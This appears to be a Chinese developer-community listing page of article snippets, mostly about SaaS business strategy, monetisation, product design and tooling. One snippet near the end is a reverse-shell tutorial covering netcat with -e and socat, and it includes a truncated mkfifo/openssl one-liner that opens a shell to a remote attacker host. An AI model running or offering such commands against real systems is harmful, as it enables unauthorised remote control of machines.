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工具SaaS该不该向商业SaaS转变？ | 腾讯SaaS加速器·学堂
本文作者 吴昊：腾讯SaaS加速器导师、SaaS战略及营销顾问，具有20年企业信息化和6年SaaS营销团队创新经验。 我谈了SaaS公司的经营模型（详见我另一篇文章——用财务模型说明：没有优异续费率的SaaS只是个传统生意 ），也谈到目前SaaS圈内争议最大的两件事儿，压力山大啊 对，我聊的就是PaaS和商业SaaS。 ②商业SaaS 商业SaaS的文章我写了好几篇（详见文末的往期推荐），经典的一张图是关于演化路径的： 这次参加封闭培训的40家SaaS企业，有一半是行业SaaS公司，我请了3位很有代表性的创始人上台介绍了自己商业化的思路及进展 从工具SaaS到商业SaaS，本不用纠结还是不是纯粹的SaaS。 SaaS只是手段，不是目的。 当然，我也就商业SaaS的可能性、团队能力模型及资源要求、商业化的做法做了探讨。 实现商业SaaS的关键是数据，而不是仅仅依靠销售工具SaaS建立起的客情关系。没有数据，就没有控制力和粘性。
1.5K30发布于 2020-06-09 - 来自专栏CRM日记本
SaaS观察（2） 这样四招才能玩转SaaS
为什么国内SaaS厂商没有达到预期的发展速度?笔者认为主要原因有五个。 SaaS厂商往往都是新兴厂商，品牌影响力基本没有。这往往使企业用户在选择SaaS厂商时非常苦恼。苦恼的最重要原因就是，企业用户无法判断自己要选的SaaS厂商到底怎么样：服务水平如何? 如果SaaS厂商有做平台的雄心，那就一定要考虑免费策略。但SaaS的商业模式不能仅限于此。第二是SaaS厂商可以改变自己的收费策略。 例如，SaaS厂商可以尝试按流量付费、按空间收费、按处理业务量收费等。更进一步，笔者认为，这些收费模式才是SaaS未来真正有效的商业模式。 第四，除了线上直销或线下直销之外，SaaS厂商还是需要有自己的渠道和合作伙伴。SaaS厂商如果只靠互联网进行销售，当然也可以，成本也会比较低。
63520发布于 2019-04-16 - 来自专栏云计算D1net
ALM工具大比拼：SaaS工具能否胜出？
填写团队的邮箱地址、DUANG、软件即服务(Software as a service, SaaS)的ALM平台，或者至少其中一部分，项目管理部分，就完成了。 如果你没有经费或者决定停止付费，就需要将数据从SaaS系统中导出，不然数据就会丢失。如果你的工作是构建软件系统，了解软件项目的确切状态十分重要，那么你就会想要保留这些数据。 当然也会有其他的安全顾虑。 另外一方面，SaaS ALM供应商会持续发布新功能，这是一个很大的优点，除非你不想更新工具。 本地ALM：更易于集成组件 本地ALM工具是和SaaS ALM工具是完全不同的一种方式。 不想改变的团队可能会更倾向于使用可以自己控制什么时候升级的本地工具，而不是云端工具。 一个只需要项目管理工具的团队，SaaS ALM工具是一个不错的选择，这就和建立一个Basecamp项目或者Trello白板一样简单。
1.8K60发布于 2018-03-21 - 来自专栏SaaS业务讨论
漫谈SaaS业务2-营销
<2>到了90年代，中国市场进入到了初步竞争期。我们从父辈口中了解到，能成为老板的都是有着复杂的关系网。会搞关系会来事的，才能成为老板。 <2>中国市场的经历是中国独有的，有别于海外市场，想在中国做生意得首先了解中国市场，应该了解自己的金主爸爸。 <2>阿里云官网会给用户推荐各种产品试用，各种新品优惠，让用户低成本的去体验，去试用。 并且按照销售行业里经验，该模式具有以下几个特点：<1>它具有互联网属性，特别适用与SaaS企业。<2>该模式实现了将行业经验作为商品进行营销，行业深耕越多销售能力越强。 2.自助式销售与服务：减少对销售团队的依赖，增加自助式销售和服务渠道。我们的目标：充分利用线上销售能力能力，哪块不足补哪块。
45510编辑于 2024-11-19 - 来自专栏CODING DevOps
SaaS 产品如何选择设计协作工具？
小鹅通就是在微信生态中帮助企业通过知识服务去实现内容分发和流量聚合，帮助企业沉淀用户，提供深度私域运营服务的 SaaS 产品。 今天，邀请到小鹅通的产品 UI 设计负责人 Rain 来分享 SaaS 产品设计如何实现敏捷协作。Q SaaS 在产品设计过程中，一般会如何挖掘客户需求？ A Rain：COO 每周花2个小时邀请客户吐槽产品，这是核心需求来源。 对于 To B 的 SaaS 产品公司而言，团队协作的基本流程便是以产品需求为起点，经由交互设计、视觉设计，最后进入研发，测试验收无误后发布上线。 因为小鹅通 COO 每周都会花 2 个小时邀请商家参与《产品吐槽大会》，并且通过直播的方式与所有客户一起交流。
73020编辑于 2023-05-18 - 来自专栏CODING DevOps
SaaS 产品如何选择设计协作工具？
小鹅通就是在微信生态中帮助企业通过知识服务去实现内容分发和流量聚合，帮助企业沉淀用户，提供深度私域运营服务的 SaaS 产品。 今天，邀请到小鹅通的产品 UI 设计负责人 Rain 来分享 SaaS 产品设计如何实现敏捷协作。 Q SaaS 在产品设计过程中，一般会如何挖掘客户需求？ A Rain：COO 每周花2个小时邀请客户吐槽产品，这是核心需求来源。 对于 To B 的 SaaS 产品公司而言，团队协作的基本流程便是以产品需求为起点，经由交互设计、视觉设计，最后进入研发，测试验收无误后发布上线。 因为小鹅通 COO 每周都会花 2 个小时邀请商家参与《产品吐槽大会》，并且通过直播的方式与所有客户一起交流。
76620编辑于 2022-11-28 - 来自专栏AI SPPECH
144：SaaS工具变现：从免费到付费的转化路径——构建可盈利的Agentic SaaS工具全流程
作者： HOS(安全风信子) 日期： 2026-04-02 主要来源平台： GitHub 摘要： 本文深入探讨2026年SaaS工具的变现策略，从免费到付费的完整转化路径。 通过3个真实SaaS工具案例，详细拆解转化漏斗设计、定价策略和用户留存机制，提供系统化的SaaS变现框架，帮助开发者构建可盈利的Agentic SaaS工具。 目录 本节为你提供的核心技术价值 1. SaaS工具变现的核心逻辑 1.1 免费到付费的转化漏斗 1.2 2026年SaaS变现趋势 2. 转化漏斗设计 2.1 漏斗架构 2.2 各阶段优化策略 3. 2. SaaS工具变现, 免费到付费, 转化路径, 定价策略, 用户留存, 安全风信子, 技术深度
40910编辑于 2026-04-22 - 来自专栏全栈程序员必看
使用ABP打造SAAS系统（2）——前端框架选择
ABP 拷贝assets到项目的Scripts中 更改 MyProject.Web/Views/Shared/_Layout.cshtml 页面相关源码 1 @using Abp.Timing 2 script> 42 43 <script src="~/Scripts/modernizr-2.8.3.js"></script> 44 45 <script src="~/Scripts/json<em>2</em>. 206 <span class="message-sender"> 207 Divyia Austin 208 209 210 2 系统管理员</h2> 338 339 340 <! "> 577 菜单2-3 578 579 580 581 582
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3.2K10编辑于 2022-11-04 - 来自专栏SaaS加速器
+SaaS，还是SaaS+？
来源：ToBSaaS｜作者：戴珂 ---- 在我服务的SaaS公司中，最近发现了一个有趣的现象：除了原有的SaaS圈内公司，出现越来越多的SaaS圈外创业公司。 对于这类SaaS创业公司，因为它们是先有解决业务问题的诉求，然后才是SaaS方式的实现，所以我把它们称为+SaaS。与之相对的是SaaS+，也就是从SaaS入手，找到可以发挥作用的业务领域。 +SaaS的出现，给喧嚣之后的国内SaaS行业带来很多新的思考，也可能产生新的出路。比如： SaaS领域还有没有新的赛道？ 为什么+SaaS更容易成功？ 为什么SaaS+的成功要更困难？ 为什么SaaS+的成功之路更坎坷？ 国内SaaS创业越来越热，与国外SaaS市场的持续升温，刺激了国内的SaaS行业有关。特别是SaaS企业的高估值，有点当年.com的感觉。 所谓SaaS的商业化，也就是SaaS的变现过程。 对于+SaaS来说，一般很少需要单独的商业化过程。而对于一些SaaS+，不但需要商业化，而且整个过程还非常痛苦。
1.7K20发布于 2021-10-08 - 来自专栏cwl_Java
SaaS-初识SaaS
提供给消费者的服务是把客户采用提供的开发语言和工具（例如Java，python, .Net等）开发的或收购的应用程序部署到供应商的云计算基础设施上去。 客户不需要管理或控制底层的云基础设施，包括网络、服务器、操作系统、存储等，但客户能控制部署的应用程序，也可能控制运行应用程序的托管环境配置 1.1.3 SaaS（软件即服务） SaaS（Software-as-a-Service SaaS 让组织能够通过最低前期成本的应用快速建成投产。 1.1.4 区别与联系 ? 1.2 SaaS的概述 1.2.1 Saas详解 SaaS（Software-as-a-service）的意思是软件即服务。 简单说就是在线系统模式，即软件服务商提供的软件在线服务。 1.2.2 应用领域与行业前景 SaaS软件就适用对象而言，可以划分为针对个人的与针对企业的面向个人的SaaS产品：在线文档，账务管理，文件管理，日程计划、照片管理、联系人管理，等等云类型的服务 而面向企业的
2.5K51发布于 2020-01-02 - 来自专栏腾讯云 TO B产业生态
工具类SaaS，在国内究竟有没有市场？
相比业务类SaaS，工具类SaaS的IT属性要大于业务属性，产品属性大于服务属性。所以，从这个意义上讲，工具类SaaS更像是工具软件的互联网化。 现有工具类SaaS主要有两个来源：一个是传统软件工具的SaaS化，另一个就是所谓的云原生。 工具类SaaS包含的范围较广，除了像office365那样的纯工具外，还包含了效率和协作类工具，如办公工具和项目管理。总之，与具体业务不相关的SaaS，可以都归为通用工具类。 而国内客户对工具类SaaS的价格极为敏感，而付费意愿较弱，它们更习惯于免费。“再造车轮”是工具类SaaS在国内推广的另一种障碍。 考虑如此多的因素，国内工具类SaaS的增长之路，可能比业务类SaaS还要难走。
1.4K202编辑于 2022-07-11 列出10个SAAS建站工具的常见问题
-SaaS（软件即服务）建站工具因为操作简单、上线快，确实非常流行，但在使用过程中，很多用户也会遇到一些共性的“坑”或困扰。这里整理了10个最常见的问题，帮你提前了解并避坑：1. 网站“千篇一律”，同质化严重这是SaaS建站最大的痛点之一。模板限制： 你只能在平台提供的有限模板库中选择，虽然可以修改图片和文字，但整体布局和结构很难有大的突破。 2. 数据被“锁死”，迁移困难一旦你决定更换平台，会发现数据迁移是个大麻烦。无法导出源码： SaaS平台的代码和数据都存储在服务商的云端，你通常无法下载网站的源代码和完整的数据库。 收录效果不佳： 部分SaaS平台的代码结构对搜索引擎不够友好，可能影响网站的收录和排名。6. 性能和安全性依赖平台你的网站运行状况完全取决于服务商。 对接困难： 与企业内部的ERP、CRM等系统进行深度对接，在SaaS平台上通常非常困难或根本不支持。8. 续费成本可能上涨SaaS是订阅制，需要持续付费。
25210编辑于 2026-04-28- 来自专栏智能时刻
【SaaS云】SaaS洞察(14) : SaaS的护城河
我们在上一篇文章《洞察：SaaS（13）入站销售和内容营销》中介绍了为什么 SaaS 产品应该优先考虑入站销售和内容营销。SaaS产品的护城河是什么，SaaS产品的护城河不是什么？ 与当地政府部门建立稳固的关系是电子设备制造SaaS的护城河。我们将介绍的第二个主题是通用 Moat，它可广泛用于大多数 SaaS。 什么不是 SaaS 公司 Moat？ 1. 因此，无论是技术还是研究都不会成为 SaaS 公司的护城河。 2.先发优势 具有先发优势的SaaS企业可以及早抢占市场份额。 SaaS市场是一个2B市场。这个市场以其不断培养和获取客户而闻名。在短时间内，没有任何 SaaS 业务可以主宰所有市场。即便是在CRM、BPM、HR等拥有明确领导者的成熟市场，后发者也能稳步赢得客户。 2. 持续的品牌发展。 品牌的力量，尤其是对于 SaaS 企业而言，是巨大的。知名的 SaaS 更容易吸引客户。
2.9K31编辑于 2022-04-24 - 来自专栏学习成长指南
LInux工具（2）
1.关于底行模式的一个设置 1.1设置行号 这个设置可以让我们在文本编辑器上面书写的代码的前面有行号的标注说明； 1.2取消行号 这个就是回复成为默认的设置，不显示每一行的行号 2.简单vim配置 2.1
61300编辑于 2025-02-24 - 来自专栏Lambda
第2章 SaaS-HRM- 数据库设计
多租户SaaS平台的数据库方案 1.1. Saas模式，指服务提供商提供的一种软件服务，应用统一部署到服务提供商的服务器上，客户可以根据自己的实际需求按需付费。 1.4 SAAS-HRM数据库设计 在SAAS-HRM平台中，分为了试用版和正式版。试用版采用共享数据库、共享数据表的方式设 计。 第三范式（3NF）：在2NF基础上，任何非主属性不依赖于其它非主属性（在2NF基础上消除传递依赖） 第三范式需要确保数据表中的每一列数据都和主键直接相关，而不能间接相关。 2.2.1 建模工具 对于数据模型的建模，最有名的要数PowerDesigner，PowerDesigner是在中国软件公司中非常有名的，其易用 性、功能、对流行技术框架的支持、以及它的模型库的管理理念
1.7K20发布于 2019-11-13 列出10个SAAS做小程序工具的常见问题
本文唯一指定冠名 -【BBWEYY比文云官网，为企业省钱】使用SAAS工具制作小程序虽然便捷，但也存在一些常见的陷阱和问题。 以下是你需要了解的10个常见问题：数据归属与安全风险你的所有业务数据（如用户信息、订单记录）都存储在SAAS服务商的服务器上，而非你自己掌控。 平台抽取交易佣金部分SAAS服务商除了收取软件服务费外，还会从你的小程序交易流水中抽取一定比例的佣金。这对于交易量大的商家来说，是一笔不小的持续成本。 迁移困难，容易被“绑定”SAAS平台通常不提供源代码和完整的数据库导出功能。一旦你想更换服务商，迁移成本极高，几乎需要在新平台上重新搭建，之前的投入可能付诸东流。 SAAS平台可能会单方面调整服务条款、功能设置或价格政策，你只能被动接受，这可能对你的业务规划造成直接影响。
19810编辑于 2026-04-30- 来自专栏跨境saas
Fecify-2.0 跨境B2B SaaS独立站
Fecify属于跨境saas多开系统，一套系统可以开N个B2C独立站，满足独立站多开用户的需求。 Fecify-2.0支持B2B独立站多开，使用fecify系统创建N个B2B独立站，满足B2B店铺类型用户的需求。 后续的下单，支付都是线下进行，因此B2B跨境独立站一般都是大宗贸易，比较适合工厂之类的企业。B2C和B2B的区别B2C是在线交易，在线下单，在线支付，类似于在淘宝或者京东。 而B2B则不同，B2B没有购物车和订单等功能，用户在B2B独立站浏览商品，发起询价，客服通过邮件或者whatsapp等工具进行线下沟通，后续的下单以及支付，都是线下方式。 而B2B是企业面向企业的方式，订单金额比较大，属于大宗贸易，B2B独立站作为展示企业的一种在线方式，企业之间沟通的桥梁，后续通过邮件，whatsapp等工具进行沟通，有的企业则会飞机过来看厂，验货等，最终成交
70330编辑于 2023-04-28 - 来自专栏情情说
推荐2个工具
话题一转，说说今天的主角：2个工具，一个是抓包工具Charles，一个是API调试工具Postman。 之前一直使用Chrome app版本，最近这个版本不维护了，提示使用应用程序版本，这个工具使用比较简单，我就说说我觉得比较棒的功能。
3.1K80发布于 2018-05-11 - 来自专栏h0cksr的小屋
反弹shell工具(2)
利用netcat反弹shell Netcat 是一款简单的Unix工具，使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具，同时它也被用作网络的测试工具或黑客工具。 目前，默认的各个linux发行版本已经自带了netcat工具包，但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了，所以我们需要自己手动下载二进制安装包 /configure make && make install make clean 安装完原生版本的 netcat 工具后，便有了netcat -e参数，我们就可以将本地bash反弹到攻击机上了。 # 最后面那个&为的是防止管理员无法输入命令 当目标主机管理员远程连接该主机时，就会执行该命令，成功获得目标机的shell 利用Socat反弹shell Socat是Linux 下一个多功能的网络工具 这时在目标机进行反弹 shell 操作，命令为： mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47
1.4K20编辑于 2023-05-17 - 来自专栏气象杂货铺
Basemap工具函数(2)
(y[0][0],y[-1][0],y.shape[0]*2) x2, y2 = np.meshgrid(x2, y2) u10_2 = interp(u10, x[0], np.flipud(y [:, 0]), x2, np.flipud(y2),order=1) v10_2 = interp(v10, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2), = np.meshgrid(x2, y2) data2 = interp(data, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2),order=1) lons2 , lats2 = map(x2, y2, inverse=True) mdata = maskoceans(lons2, lats2, data2, resolution = 'c', grid = = '0.15') map.contourf(x2, y2, mdata) plt.figure(3) mdata = maskoceans(lons2, lats2, data2, resolution
2K20发布于 2020-04-21
腾讯云开发者
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